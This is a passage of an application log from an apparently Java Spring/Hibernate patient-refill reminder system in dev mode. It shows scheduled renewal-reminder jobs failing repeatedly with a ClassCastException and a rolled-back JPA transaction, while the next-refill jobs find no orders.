org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String 